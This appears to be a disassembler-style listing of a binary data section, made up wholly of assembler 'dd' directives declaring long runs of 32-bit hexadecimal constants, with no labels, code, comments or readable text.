dd 6F635D40h, 7ED3F348h, 0C70E003Eh, 0D186746Eh, 278CC8Ah
dd 462928C4h, 4462FF44h, 0FB4675E2h, 41F351E1h, 12027314h
dd 81288386h, 61292116h, 88060E08h, 368C733Ah, 88AD7907h
dd 0E4004DCDh, 0B823D7B4h, 7FDFFFh, 62548635h, 82BDA8Fh
dd 570B1100h, 0AD2FAA8Ch, 0CF120F06h, 0ACA13CB6h, 0C01C8310h
dd 6E00AE5Dh, 0B165744Fh, 5CD57DC0h, 0F200F6ADh, 37F57F10h
dd 3000C1FDh, 81748344h, 50EBCF22h, 0AD4CE29h, 0BAEA0FC5h
dd 0E6CA00BEh, 0B57F669Bh, 0E44B4401h, 0C85FBF1Ch, 19815AD5h
dd 73977A5Dh, 45CAF889h, 2300C67Ah, 4AF76F1h, 1F3C55Bh
dd 3975585h, 602AB95Fh, 0D07771E2h, 9C005C7Fh, 8A826508h
dd 2BBB9Ah, 50439D3Eh, 349728D9h, 0B240D400h, 9E2F4496h
dd 8B3800D5h, 5C9DA2F9h, 0AA00C3A3h, 0ECFB92EEh, 492978h
dd 98FF771Ah, 0F4BA5FEBh, 0BFF77D00h, 0EC682D22h, 0F1E41C6Fh
dd 8A0D40A7h, 0FF726377h, 0E62DE3Fh, 0E03ECFBAh, 0FA3320Ch
dd 4A8FEDCh, 798F76E4h, 0CB0EFF94h, 7D7560EFh, 7789FAh
dd 96281133h, 4DDCE31Dh, 0BE248300h, 9FB2B9F0h, 4B54009Bh
dd 0B8F80F56h, 71007755h, 0E026BC0Bh, 0A1DE7Ch, 507A3643h
dd 6FB93ABh, 0C245B500h, 35A073C6h, 0FEC326C9h, 0A876078Eh
dd 3A2DA0D5h, 73070C22h, 9D2CB599h, 0FD7A06A0h, 0B2C807ABh
dd 8030A5FFh, 5928FD0h, 29F3C900h, 0AE510918h, 13F800C6h
dd 0A025A804h, 2309DE01h, 1183BC3h, 522D410Fh, 94BCF07Fh
dd 3EE84400h, 0B898D9DCh, 56A70020h, 6DCDB4D0h, 0A5580579h
dd 55C1046Eh, 0F5C4DDF2h, 68F59E00h, 2EDF28h, 9320A554h
dd 0A6CF2CFAh, 677D6FEAh, 5B276800h, 3254D9DDh, 2CC734Fh
dd 877CB563h, 80F593F7h, 31E91265h, 18BA006Bh, 0D129EDEFh
dd 0EB004BBEh, 5A95CD26h, 12D477h, 96EEAE35h, 0DF0E4A08h
dd 1AF3FF00h, 47C72AF6h, 976F00B4h, 8DACE1DDh, 50077B2h
dd 7220A253h, 287156FEh, 60EFAE62h, 0D2E51906h, 0A000F223h
dd 0CFCB472Ah, 107055h, 0AABEC515h, 3C34671Fh, 494C1E00h
dd 0D4B6875h, 0F9F0069h, 38A932FCh, 0EC1D6AF3h, 379FE09Ch
dd 6182DEC1h, 0F880282Dh, 30E2A185h, 7E009F5Ch, 0D1153E0h
dd 59EB3h, 69DECFDh, 0CFFE4778h, 0BC293A00h, 4E11F4CEh
dd 671A0F6Eh, 8600CD13h, 845A0272h, 0C6DE9C09h, 1051006Ch
dd 97B936h, 0AC504457h, 0AE3C2E8Ah, 2C68E000h, 0A359D75Fh
dd 126B3ABAh, 0DCD0AD03h, 75E8E678h, 237171CFh, 0FCF62D3Ah
dd 550FAE00h, 6EF8C5DDh, 0A57448A2h, 0B2240500h, 0D4D7413Fh
dd 0F11D800h, 84B9CCBFh, 0E995005Eh, 0FAA806CFh, 6724711Ah
dd 28003021h, 0FD31E399h, 9FAE4h, 184627D5h, 0C70AAC36h
dd 0D8EDC507h, 24100287h, 0FCD6E8DCh, 98A400E7h, 50CD226Ah
dd 2E02EE11h, 8E4E9783h, 0AC23215Dh, 9A3401FFh, 90AF70E8h
dd 0CADC00B4h, 8D7AF3D3h, 670096ACh, 0D97EA407h, 75BC5Ah
dd 33514A5Ch, 0A2FD2CCh, 13D8900Ah, 0A80094B7h, 0F8A9285Ah
dd 8A9E0709h, 401F9D83h, 8EE87310h, 0A5D6BB04h, 8B809F0Eh
dd 6F48893h, 102162C0h, 460B199Bh, 0BF7C64Bh, 0F5F0005Bh
dd 163FB4Eh, 0E78D3645h, 0D0597985h, 0DE72F6EEh, 6ED94000h
dd 0F53C2054h, 42CA0010h, 370FDF47h, 0CC1377C7h, 41001E30h
dd 50F0415Dh, 0A0C0053h, 3D93BCB1h, 16721B46h, 587A7300h
dd 0B978BA86h, 0EDD8005Fh, 0AF528528h, 41E8C5D1h, 66AF900h
dd 8127A50Bh, 73EE07F3h, 7F63EFE0h, 7B6B9000h, 0EC1A5BBAh
dd 8039C362h, 112D3658h, 5DD0006Eh, 626AE781h, 56128877h
dd 3C5E2694h, 60B4C7C0h, 242C58F3h, 1DB1E1Ah, 0C4C50DB1h
dd 20FCE9FBh, 10001716h, 0A55C2E0h, 7922F1h, 1D5E24F9h
dd 0C7216C30h, 0C62CEE1Fh, 1013FA40h, 0FC99592h, 3873890Fh
dd 0B67A2E80h, 483F8C32h, 2F2C8041h, 0C019D9F5h, 0BFA300C8h
dd 0D6980DBh, 0FB003573h, 0D7C11062h, 0E7D4DBBh, 91BA5A30h
dd 0F4A71E07h, 82BC94E7h, 0B841833Ch, 776970D2h, 0CE12702h
dd 402BBE65h, 0ABEEBCh, 16D1AD6Eh, 0B50546CEh, 0D5925200h
dd 7D26ED87h, 3FC0E1FFh, 0D3F50027h, 83C87981h, 0A36048C7h
dd 44A47570h, 8BDD26EDh, 37218BA4h, 0D0086284h, 0F8E63DA4h
dd 52F2651Fh, 0B98DC7C2h, 55D0680Ch, 81A0058h, 77D4188Ah
dd 0AD0024B4h, 0BD633E8Ch, 1925BE6h, 725C6FACh, 87EB7768h
dd 0F7651BD8h, 0F5CC9100h, 86B000Ah, 40E27525h, 0CE3EA737h
dd 0AA53001Bh, 85B44480h, 84480F4Bh, 0EFA05EE5h, 0D7CEDD57h
dd 0AD21B200h, 3052B167h, 6C75004Eh, 0BE152597h, 0C20018CAh
dd 0E9A5F599h, 1FF2D01h, 0D40989D6h, 0F67D9208h, 828C2740h
dd 0DAD59F00h, 6AB1AE9Ch, 9030C043h, 3337949Bh, 0B832480Ah
dd 3E408850h, 43DBEBh, 0C3287C2Fh, 4A18994h, 0EACC5401h
dd 3DDEA4D7h, 36C3430h, 31E41E0Dh, 49D03536h, 0F200EFD8h
dd 0CA484EBAh, 6D6399h, 0AF265E8Ah, 21D96090h, 73383A4Dh
dd 195B15Ch, 3B4AD323h, 80C07B96h, 0E72002A6h, 0C10CB31Dh
dd 394EF680h, 4FECEDFEh, 0AEC67B0Fh, 0F600FC88h, 872AB6Fh
dd 0C400052h, 3319128Ch, 4A00E8BEh, 4D18733Fh, 0B56628h
dd 588A6595h, 9F4CFE5h, 70042E00h, 1EB3A55Dh, 27250F07h
dd 6000B78Ch, 869FA143h, 6FD09800h, 0EC174BAh, 0DCBD00B0h
dd 2FE59122h, 0CE3476E7h, 0F9C74073h, 2685F120h, 9A603EABh
dd 0CF35F080h, 0D7119040h, 0FA04A700h, 6DADCA30h, 0A0C101F5h
dd 7B580121h, 0D8E0307Ah, 0D18E5A24h, 0FC30F400h, 7D6C5Dh
dd 0EB3B7642h, 0C474F385h, 0D6969A00h, 3A8AFEF2h, 7BAB0F3Ch
dd 420D480h, 977809D8h, 0C1471200h, 8B857FFh, 96A90040h
dd 315D49FCh, 9E0444DEh
dd 0DA4F7CC0h, 809BE0C3h, 0E6A237h, 0AC5BE0D3h, 0F440D479h
dd 0E5074800h, 0B69A0BA9h, 5786016Fh, 0B455F091h, 0EB9CE0FAh
dd 0A1A47F00h, 5F5817CDh, 2CAC0032h, 5DBDDC5Ch, 99486522h
dd 0DD5A01C5h, 0D703511Eh, 0D28820h, 12E4451Ch, 0EB9E33C1h
dd 0F8479500h, 6421CA2Ch, 0DC6900D6h, 0A067B3B8h, 174C453Ah
dd 0C5FA0132h, 0B93FAD54h, 0B878B30h, 3EA32EFh, 0B872AA06h
dd 0F0B4083Dh, 4D48E4F6h, 175C4C19h, 1900BD81h, 17B6967Fh
dd 0F18500E1h, 0ECFE6E32h, 9C00CBA5h, 8CBD91F4h, 7F319495h
dd 2F5B01E1h, 8254FAFDh, 3726C4FCh, 78BF6800h, 3DC2F962h
dd 0A9910034h, 0A56C9C89h, 7109174Ah, 1AC3C6h, 79FF5E90h
dd 87FE00D3h, 0BF545FCFh, 0B8004689h, 11E7D59Ch, 78B7FAh
dd 0D98180EDh, 36267BF4h, 890BB3F4h, 80548656h, 383DE244h
dd 0F72E17C4h, 2D9C002Ch, 0B9F5225Bh, 0D269FD00h, 6009A417h
dd 0F29F0010h, 2842DB78h, 620189CBh, 303FE60Eh, 0A4EC9664h
dd 0DD2200B1h, 93F97FC3h, 9A58F61Bh, 6F5B079Ch, 0A940314Bh
dd 90944240h, 1D500014h, 831B2DDCh, 0F03A8A47h, 0E39E004Bh
dd 0A66AAB7Bh, 0B1A70067h, 0B2BA102Ch, 3A02BF16h, 0E029F285h
dd 15E24020h, 1A89000Dh, 0A5CCFFE9h, 0E09867E6h, 0D5DE4B00h
dd 6146BF22h, 0DADF0030h, 6FCFBEF6h, 0FB001120h, 0E3A2444Eh
dd 0EF9843h, 55F46A4Ch, 0F81438C9h, 0C31E3C0Ch, 0E66485h
dd 312347E8h, 909F508Eh, 0DB002CB0h, 0C649D71Fh, 0CE1D7CB5h
dd 44C48228h, 0B3A48065h, 40F6A8C0h, 11029600h, 3682018Ah
dd 1B3E0052h, 28F3AFB9h, 0CC00BBDBh, 79E4A04Bh, 206A835h
dd 8B021AC1h, 0B6C08487h, 0AA12BEEAh, 58800FECh, 80744B95h
dd 9EEAA5CFh, 2681D100h, 75B0EDB6h, 0DB2C00C6h, 0E5BEB863h
dd 2DF8B506h, 0F3686B07h, 70809BA0h, 462A709h, 241E0B7Bh
dd 0DA92807Eh, 14034991h, 0F4FEFF66h, 4D77F0D7h, 3732390Bh
dd 87020A00h, 0F6C503B1h, 0F2615C1Eh, 7A99D400h, 134EF3h
dd 5A12170Ch, 0B05CC1Fh, 0A9040DF4h, 54C6E4B5h, 3FC85C80h
dd 9D900402h, 0C0689983h, 0D6F8673Dh, 262AAF00h, 0E6780F64h
dd 448D00A1h, 0D5F6883Bh, 0B13845C7h, 6FED028Ah, 40CE4FB2h
dd 262F3A99h, 7ECFD3Bh, 0CE60C5C3h, 0CF1681D4h, 0AD9803E4h
dd 0B6D0DB64h, 0AE988D85h, 0AB724A1Fh, 717AB380h, 0D6E4D4h
dd 0B5049917h, 696B388Ch, 0E62D0500h, 3B6ADDA9h, 5BA73B5Ch
dd 4660CD00h, 2C9010E2h, 192A0831h, 4083160Bh, 8CFCBA63h
dd 30DC0A5h, 1700222Bh, 76847DA8h, 0F45230h, 0D40F8C66h
dd 65633D97h, 94CEBD07h, 0F5402068h, 1F70F947h, 202056Bh
dd 1C8A6EA7h, 5D74C380h, 0F70FB437h, 99B37Ah, 0CEE90EBBh
dd 9FEC00DBh, 6AD4A16Eh, 8E122F49h, 60002858h, 753D0578h
dd 8BDF00C9h, 0D00251AFh, 1B05A188h, 0DAEA310Fh, 876783h
dd 2BB950AAh, 6EFEB51Eh, 0A1789200h, 77ACA513h, 0E94701Ah
dd 966137ABh, 2E2452EFh, 0A844884Ah, 0DCC15D03h, 0D81D1FABh
dd 0E08089B8h, 0C4E6C0h, 0A01E48A6h, 63222EA3h, 0B90C8B00h
dd 40C2B7DAh, 0C45A0255h, 8860CE77h, 209F7160h, 63A24304h
dd 0CCD00B4Ah, 344B06Ah, 0F4395394h, 0C2989670h, 0EB2438AAh
dd 3B3F8C36h, 32BD80Ch, 184C4106h, 5E6007BDh, 2655E1h
dd 11FA3582h, 0BDC17839h, 5D007459h, 0C464524Bh, 126C4DC5h
dd 0DF56F0h, 0C12775E4h, 0B0632224h, 0B0954648h, 9A4347h
dd 684B0F85h, 196FBBB7h, 80FCB203h, 8BF5277Fh, 6DFFD0EEh
dd 0FA2024A0h, 1D37003Fh, 63088BBEh, 0C68AC800h, 45F18E1Fh
dd 7DD500CFh, 6C5CC19Bh, 82031965h, 0E5AFC9FAh, 9C7FB86Ah
dd 0E4640EB1h, 3F802CF1h, 0B7AB4E66h, 93E13407h, 0F490CED2h
dd 0C69F3Ah, 2F32E7DDh, 3514C12Bh, 0E3F8BC00h, 0AB524D4Ah
dd 4E5F00B9h, 8426C48Fh, 0DA073687h, 0F4F33CC6h, 192D7110h
dd 5735005Eh, 0AE2E67CAh, 941EC97Eh, 370E52B5h, 0DC8A2C58h
dd 0CC0A0B76h, 0C580CF2Fh, 0D66B23B5h, 2B98B00Fh, 0C58A60C3h
dd 0FE47913Fh, 0F8310196h, 901F9278h, 0C440ECA8h, 0EE6A800Bh
dd 9338802Ch, 5CCE4688h, 0DB38F004h, 0E33C1A81h, 0C8B3C9F8h
dd 0D8008A02h, 17E5AB6h, 0A28121h, 0B2E704A9h, 0F16CA42Fh
dd 0D339BB00h, 1320247Bh, 0B40200DDh, 0AA58895Dh, 9900F282h
dd 0C9055CE3h, 65A2D7h, 44B73063h, 1A688772h, 4A0EF50Eh
dd 0C4DB2005h, 6073EB86h, 4151341Fh, 0E8FCA94Dh, 6343A500h
dd 0AD357BF3h, 22C201D8h, 383E45B4h, 2EA8C4BBh, 0BA78700Eh
dd 0E0A20E5h, 3B6B53AFh, 0EB80F45Dh, 64402F99h, 0FC0E6C31h
dd 80579763h, 7D092AC4h, 0D74B077Eh, 0D3A42C73h, 30D84A1Ch
dd 0E6185EE5h, 6772CB89h, 0DB6AC055h, 475FE32Dh, 7C768D04h
dd 1C81340Dh, 0A200E706h, 40010FCh, 0A1CD5123h, 7BFDC329h
dd 0F307E03h, 2DB6614Bh, 9E88FE60h, 3500A4EAh, 64F367E4h
dd 10928Dh, 81CE2EB3h, 70159471h, 0AC00957Fh, 66C76D2Dh
dd 18307336h, 0B00DE0A5h, 8BE65A05h, 59209B00h, 8AA9D5F9h
dd 26090092h, 1556DF3Bh, 0FE00885Dh, 3191F1F0h, 1FAC8333h
dd 41C54B9Eh, 6BE1038Ch, 19D22042h, 0D7503067h, 0FEFC4330h
dd 0B10800FBh, 89B0714Bh, 8B00862Fh, 0C949E84Ah, 0FC264Eh
dd 0F99DFA56h, 0D057A741h, 74E1D800h, 0D553D6Dh, 64AE0023h
dd 735B0AE6h, 0E43EC976h, 143B1D49h, 2EEE1C80h, 16F5D79h
dd 4827A625h, 40B0F405h, 9DD3579Ch, 89FCB500h, 120A2C5Dh
dd 0CCAD008Bh, 93F08554h, 5FECDEF5h, 91575B07h, 0D9C09297h
dd 0F88369EDh, 86110036h, 62F4337Fh, 0AF00EC5Ah, 0F87A0E23h
dd 3EA5700Fh, 0C000D8F7h, 0BC4D2529h, 75006946h, 3271039Bh
dd 7C3B2E06h, 0B51703C3h, 0D8F9FC56h, 0B7C92FB8h, 667A0900h
dd 5B415519h, 8EAD078Dh, 0C792DC4Ah, 0B0D0B7C9h, 14AB1545h
dd 8C012509h, 6AB880E6h, 0FAE04626h, 606DFC74h, 1F8CE9F8h
dd 0E2013B88h, 0A7E35E0Bh, 6D416B4h, 49DB000Eh, 6338EB80h
dd 4B00D03Ch, 75E2D6B1h, 22432Fh, 23539F79h, 772A6E98h
dd 0F7569300h, 0B165DE13h, 79FEA048h, 0D50600FDh, 0CC8D71E8h
dd 28C083F2h, 0EA70AF18h, 0A0FC908Ah, 79801204h, 5BDF58E9h
dd 7C73DB07h, 8F0CF0C7h, 0AE019BC0h, 0FBFC46Bh, 4AD417E0h
dd 0FBE9E1DAh, 6359868Eh, 0A97FC0BCh, 0B427AA8Bh, 2AC21002h
dd 404365CDh, 0A3C834h, 75F07823h, 2D12696Eh, 5030C7Ah
dd 55E33541h, 0B551C197h, 77F90BCh, 0D3FD1D95h, 0C357013Ch
dd 4965C07Dh, 276DC001h, 0A2B43FF8h, 0C811C30h, 6BD310DAh
dd 0F609BE58h, 20366E4Fh, 3116C5D4h, 41600E5Ch, 8E21BD51h
dd 4042C64Fh, 9126853Ch, 3146D806h, 0FB40BFAAh, 18B340ECh
dd 4837A348h, 8008C42h, 2907D7C3h, 78190Fh, 0E261C88Fh
dd 1421E3A5h, 6D9DD500h, 0FF574920h, 0A8EF07B7h, 0DCD18D90h
dd 6B1C32D0h, 7B8F53DFh, 6CEC00FCh, 3EC9CF06h, 100B1BCh
dd 28CD5F15h, 52007108h, 7A40A15Ah, 8C4EB2h, 82D98A4Ch
dd 5373F2CEh, 65D42807h, 4160D871h, 0F58F702h, 5E9DA2D0h
dd 25DBE9C0h, 0EA0E355Dh, 0E03DE16Eh, 0BF52D1F4h, 943604DFh
dd 81671EE9h, 0F04214AAh, 5301D2FBh, 75ECA461h, 0A0DA8C34h
dd 0A62D7794h, 91CA03CBh, 5718D9CFh, 24ED8FD9h, 86004820h
dd 8C624EB8h, 19A0BEh, 0F7C3C87Bh, 0DEF3BDC6h, 353C6E12h
dd 3D084015h, 0A700769Ch
dd 38E122A5h, 0AE868A1h, 3A2AC9F3h, 0E67280B8h, 76E244EBh
dd 506E262Ch, 10BF930Ah, 0DEE0813Dh, 4692BA3Fh, 7F5F8660h
dd 0C77070h, 16082749h, 608C50D1h, 0D383C9C1h, 78F8333Dh
dd 1D4700D9h, 0BB093092h, 320F7F48h, 46E72B6Dh, 5030CA03h
dd 0B8B4E3B8h, 0DE8E007Ah, 46F0EEA5h, 1A7D32B6h, 0F5C180C0h
dd 255F49h, 0CE0702E2h, 0BD34202Bh, 82B0D848h, 488FE55Dh
dd 60182548h, 0AC4918F5h, 0B8009E09h, 7DF04744h, 0C2A6257h
dd 0E97702ECh, 60500D0Ah, 183FC998h, 0A1480B8h, 0DAE0738Fh
dd 63512C07h, 0FDC50953h, 77797400h, 0D200F41Dh, 86BE5A6Bh
dd 0AE6AC0h, 0C2395C6Fh, 68C4A8D8h, 0D062781Fh, 7CBA9CEh
dd 6DC096BAh, 76C85AA2h, 0EAA51394h, 0F1FA0020h, 0B960515Bh
dd 0E7774500h, 6D4DED57h, 76D101C8h, 865E0547h, 0A55FEC0Bh
dd 523683Fh, 3A225D02h, 629BCE00h, 106A09Eh, 0BFE2706Fh
dd 0FC9750EFh, 0A50328AEh, 96B70226h, 595097BEh, 0FF981Fh
dd 0B17D703h, 39E5C6FDh, 0B2094700h, 0CA658B6Bh, 0F0E2004Dh
dd 4AA76ADh, 0AD905E68h, 83A3433Eh, 0A5134C8h, 57369038h
dd 7770CCh, 0D7332A6h, 4EC00853h, 0E7978A00h, 6E3AA75h
dd 1E51076Dh, 0C08F9D71h, 86A29C2Eh, 98F65500h, 44CD2DBCh
dd 46C62C37h, 0F487073Dh, 1B0FAE8h, 0F620630Eh, 0CDDDCC3Ch
dd 898E8500h, 4C668C35h, 3E990F4h, 6D0BBF5Ah, 2811F5FEh
dd 9821CF41h, 67843F10h, 28E54AFCh, 2262801Ch, 450029Bh
dd 2284A914h, 47227D16h, 57D710FEh, 174D08F7h, 22151D87h
dd 8A28A350h, 31C94E63h, 0EF291143h, 50CF2884h, 15283B50h
dd 96B314A0h, 88036B88h, 51C87164h, 7998019h, 7B863183h
dd 0D4B561Eh, 8F81AA40h, 4C9596F1h, 0D0006AC3h, 52642A71h
dd 0CA00F861h, 9623DB43h, 0B6101Eh, 42A10F58h, 1277CF74h
dd 0C90ED3Dh, 5825ABF9h, 3A9E892h, 138DA103h, 0E8903174h
dd 0DAF0483Fh, 71702100h, 49EA26AFh, 0CAEE00F5h, 85A4B18Eh
dd 0A900E268h, 0B01846EFh, 0F8D6E9h, 0F36CCBB2h, 0E6FD80C5h
dd 4C2E39h, 3756A846h, 96BD99h, 598A18Eh, 0C4F17867h, 0B23BD274h
dd 0C0E300ECh, 858F3BBh, 91160027h, 5BD46902h, 0A400F03Ah
dd 8D24ABB2h, 86F70h, 35748A9Bh, 0BB1A4E4Bh, 0C44D2600h
dd 6BCE3CB4h, 2F9802DDh, 7176037Eh, 8755807Dh, 305C7Bh
dd 0C0FB1BFAh, 0D9EE58CCh, 2FBCE94Bh, 0D06C0E05h, 1970062h
dd 0A0EFEA8Dh, 873014E8h, 82999226h, 26974CACh, 2181EE00h
dd 713804A3h, 58B9C8F1h, 0C4BAB700h, 0FFCBB337h, 7094A0A2h
dd 0EF53004Bh, 2180C728h, 0BA1C2BE8h, 0A40075B9h, 0C6A8E6CDh
dd 0FF540064h, 0EB6CF53Fh, 9901C4A5h, 0EEB677C3h, 89CCE7F4h
dd 837A0064h, 103E69C7h, 7300CA79h, 2A193713h, 53FC31h
dd 7CE6FE8Fh, 0FA9DB85Eh, 87220900h, 1A167B33h, 0D5AD0EFFh
dd 7EC0B715h, 4D80DF7Dh, 48E00654h, 36F1F400h, 42CF9E7Bh
dd 0A7EEA9h, 0E358D16Eh, 9B3012F8h, 0DD122BF0h, 0E80081A5h
dd 0C1D6557Ch, 9BA7545h, 6F9D29DBh, 0D26C005Dh, 0CE59BDh
dd 5664F720h, 0CBE9AD09h, 37EAB000h, 67C0DF4h, 0F6A4011Bh
dd 0D5983EB8h, 0BD904126h, 3D6D480h, 72962707h, 0C8E32EF3h
dd 0FDC7F456h, 1AB46D50h, 68F670h, 67423CD9h, 39059963h
dd 11CC6500h, 0B9F6BDDDh, 0F8B7B0A6h, 0D628129Bh, 673007C0h
dd 0EE77E334h, 0BC4E9AC8h, 0C53B0376h, 9964802Fh, 588DB585h
dd 0C2AD0FF5h, 902ADC28h, 0FBE006A9h, 1031105h, 0BF9CBB1Bh
dd 0A251E860h, 167EFA59h, 40C71E0Dh, 4B611D28h, 0D0487214h
dd 0C69B0074h, 0FC5DA4FBh, 0AC50006Fh, 0E4B522ECh, 0F05D87Eh
dd 24C3917Ah, 97DFA1C0h, 1E410082h, 424B13C0h, 513FF133h
dd 62D7979Eh, 80277307h, 9A1B8200h, 0E6540057h, 8B488EADh
dd 3EE2CBF3h, 370E19B8h, 76ACFABAh, 0C70F7900h, 106CD98h
dd 0B8779BFDh, 0DC2F18B4h, 0DE0A3B5Dh, 0BC298BE4h, 2B8C6E80h
dd 243DE61Fh, 0CB1D4h, 914A522Fh, 4607D55Ah, 0C78AA9EAh
dd 10CC0180h, 918013Eh, 70450336h, 2508DCC6h, 2023CE00h
dd 0F84E39E0h, 0CDC90BC0h, 0C70030B0h, 4F45D12Ch, 35C5E4Ch
dd 67C55A3Fh, 16808F13h, 41D7428h, 36603C03h, 1918D0D0h
dd 9D07C26Ah, 0E7DFADB6h, 52E9EAD0h, 8AC3248Bh, 670F41F4h
dd 0A080CAC4h, 0BF458D0Dh, 68C776B0h, 0EC65E885h, 1C4AB00h
dd 95FEBh, 2BA60FDAh, 0C84AD950h, 0A0BF3D03h, 0A8688161h
dd 0BCFFA3h, 16576ABDh, 9072320h, 88C88B00h, 623721B9h
dd 0C51C0F1Dh, 0A96087F2h, 97EE3628h, 0E8A27301h, 3CBB30C9h
dd 0A79FE4h, 2F776760h, 0CFDEBCB0h, 8900E37Eh, 0D54709D7h
dd 0A3252Bh, 2A3E9566h, 81F5A29Ah, 6CEB7C1Eh, 8765EA41h
dd 0CF40C8B5h, 520AEFh, 30A71069h, 0F2B4BA34h, 918ADD00h
dd 0C34FA822h, 0B6F400CCh, 0DE749F97h, 0FA00362Eh, 425E9C98h
dd 7A4022h, 81620D14h, 54296771h, 0D8C07226h, 0BCBF3600h
dd 3AE147F3h, 23801491h, 0B1023E05h, 4300E7C0h, 0EA689AEEh
dd 17FA034h, 0F70B6F39h, 0E8D0E54Eh, 3B38298Ah, 4B86012Dh
dd 0F49D822Fh, 0E86D4460h, 445C8001h, 9943D402h, 0C0045222h
dd 0B18A7648h, 0AE1F8344h, 39987B82h, 0A8928732h, 0EEF9630Ch
dd 0DA300Ah, 0F8E0A0AFh, 4D1D21B8h, 7AF4BC00h, 0BD11A3EBh
dd 3C07005Bh, 7E392DECh, 2000D6FAh, 0C2748E1h, 1DBF31h
dd 2B5CA086h, 60EA7518h, 2287C400h, 5BF47DB9h, 66316734h
dd 0CAD2B0F5h, 92071F65h, 21510B5Ah, 0DD01925Eh, 7C3327B8h
dd 53AA20h, 0B3B250D4h, 3B56BEDDh, 1CE87700h, 925A851h
dd 0B173ABh, 0F8D9A74Fh, 0EC773894h, 0C92ADD00h, 783CC72h
dd 0A75100E0h, 22E72B7Eh, 61E2B7B4h, 8858DF00h, 0B97653BCh
dd 0AAD000A3h, 0FB3A39B1h, 1218254Bh, 94B0FC8Eh, 56A701CDh
dd 0A22BDBE4h, 79EC700Fh, 2C69C500h, 2653F2C7h, 61A600FAh
dd 0BADAE85Ch, 7D00D3C2h, 818F32AEh, 0FE4933h, 9F6D036Ah
dd 0EED0B0C0h, 0C2BCFB30h, 79E9B7h, 851C145Dh, 0ACAA6E48h
dd 5BF5639h, 37CFFF75h, 50AB80FFh, 0B00580Eh, 0C7E8B0D3h
dd 165DC32h, 8A187962h, 0D27A1DBCh, 1602F85Dh, 0D07F21h
dd 2E89F388h, 4E07F23Eh, 0FC19B428h, 0AEB60A40h, 0A27E00E6h
dd 0CACCDC26h, 0EDB86C0Fh, 55ECF37Eh, 0EC74DFEAh, 721A9207h
dd 0C800895h, 458502h, 1FF2A254h, 23EC6A3Ch, 47377B00h
dd 0ED87AF72h, 0B2C30FCDh, 0C8600332h, 0E128C944h, 7C319D12h
dd 5DF80800h, 0DD4094h, 6CBA0C2Dh, 0F1904F77h, 0B7B0700h
dd 61953DB1h, 47541C8Ch, 81BA0099h, 43BF6EEDh, 0A2773214h
dd 9858A0h, 7CF69555h, 31B804Fh, 6BCF2E0Ch, 79B1D46Eh
dd 54D3C0C2h, 9D65920Bh, 1D9BF68Bh, 0DF74C0B7h, 0FBA0B6BEh
dd 0F0950200h, 9E660C1Eh, 230D0FA3h, 4D607D46h, 0E0495617h
dd 7EC4E100h, 7AB20521h, 0D5C92ECFh, 86410055h, 0B692BE25h
dd 939864FEh, 22DA910Eh, 84C0CA70h, 2D149F07h, 57AD48A1h
dd 76FD1CF4h, 0B38500DBh, 0E4CC61Eh, 0E7001F5Ch, 0DC69F5A9h
dd 0E28B3C93h, 0E34B00BCh, 7D1E203h, 0FC0486DBh, 3C51E16Dh
dd 25008E09h, 193EEE21h, 13D71701h, 0A0E41129h, 0C4F0A1C1h
dd 0A56D006Ah, 0FA6450C6h, 3100C14Bh, 29EFA09Fh, 0A0C5B2DAh
dd 4561A4h, 261BA7F3h, 0F6C252FFh, 0C0002372h, 0EA3D3764h
dd 4A5F27h
dd 10179B03h, 0B48D2A6Eh, 85EC8800h, 488B360Eh, 1569002Ch
dd 831FDC77h, 401CC20Fh, 6E403EB4h, 412F02F8h, 0C16901E7h
dd 6888ECB0h, 0F464FDDDh, 6100B65Ah, 31C3741Ch, 0F899E6Eh
dd 3A58C763h, 0A381C240h, 8700F078h, 0C3A0ECA8h, 0A5691B8h
dd 0C8016568h, 193B00B4h, 0D0A14CACh, 8067CA3Eh, 2A257CA3h
dd 1F6B5AB8h, 39343515h, 4508F301h, 0D86D9598h, 0AE0085E7h
dd 0E59ED369h, 44D2742h, 98254587h, 264A023Fh, 0DF0014F0h
dd 7C3C0CB0h, 0FA7AB8h, 0EA12404Ah, 30255646h, 6C773709h
dd 57C803Ch, 1C7ABCh, 21CD26D0h, 8923B66Eh, 9F087C00h
dd 0B8A28C5Fh, 53B0003Fh, 0EC82C771h, 0BA0B48CBh, 7D8F0C03h
dd 61FB2900h, 101E3DA4h, 91B04FADh, 7B3FD29Dh, 0D3EF0F06h
dd 386031C5h, 33FD3D81h, 196B2602h, 802C1293h, 8CEAB5F8h
dd 783B00DEh, 0D4CCF403h, 0B600AB3Eh, 17E970E8h, 1DA39677h
dd 2CAC9F42h, 0B32B005Bh, 305F7102h, 4C7D401h, 0E5119D3Eh
dd 0C9AFECh, 0F239B28Dh, 9E57773Ah, 0DBBEB50Eh, 0B091A358h
dd 8AAFB8F1h, 1F03F8EBh, 47CCE846h, 614386F8h, 0F482F56Ch
dd 913B7669h, 8B4C09D6h, 0A1C081A4h, 94DC211Ch, 10050813h
dd 0BC70D2h, 2857D712h, 5CD381h, 0B490A8E4h, 0A7E14E1Dh
dd 92508B17h, 1CD0CF00h, 3AB6C25Ch, 1A0070FEh, 0DCE7D63Ah
dd 5205796Ah, 0AF15D84h, 0B0A0F487h, 5A30BB5h, 0B76BD96Dh
dd 0C918C0CCh, 50128F5Dh, 5EEAE59h, 0E08942Ah, 0B8C0FEECh
dd 975B0F2Fh, 0C97DDC00h, 158AE64Bh, 0B2300CCh, 32CE2444h
dd 1800268Ch, 530E73C0h, 0D8AA96h, 41ED5210h, 2D4A890Ch
dd 0C108C81Dh, 71B0DD40h, 1DCBA5Bh, 127C52EFh, 64F71F4Eh
dd 1007A440h, 2D3C71B7h, 0AF946D20h, 0DBC30027h, 0D9D698A0h
dd 370C3D02h, 0A8302C67h, 69BD2475h, 0ACCE8F40h, 3974B1A0h
dd 7D00EE82h, 0CDF27154h, 0EFD28F7h, 70431395h, 0FEECF380h
dd 8900B7CAh, 8D8EBF0Dh, 1FDA3079h, 7D1E4FC8h, 0E8F82C00h
dd 0FE48BDF7h, 45C7E501h, 0DE583E4Ah, 723A5D8h, 6AE83794h
dd 1579E310h, 21BBC580h, 0BE47880Eh, 8D1419Fh, 32F82522h
dd 0E6FC003Ch, 0A86D7CC9h, 292D19A4h, 1C05D4F8h, 0BC414F10h
dd 2C6A9920h, 0D01CA740h, 3880F9E7h, 5C781EBBh, 0F8CB0001h
dd 0B717E69Fh, 67037B54h, 4BC6B44Ah, 465AA00Ah, 55F8007Fh
dd 0D024FEFFh, 477D10Bh, 0A07C0600h, 9ED1EE8h, 2CC2019Bh
dd 0CD286F98h, 4E01D012h, 0E29ADD00h, 0A4152AFh, 0FC9F00D4h
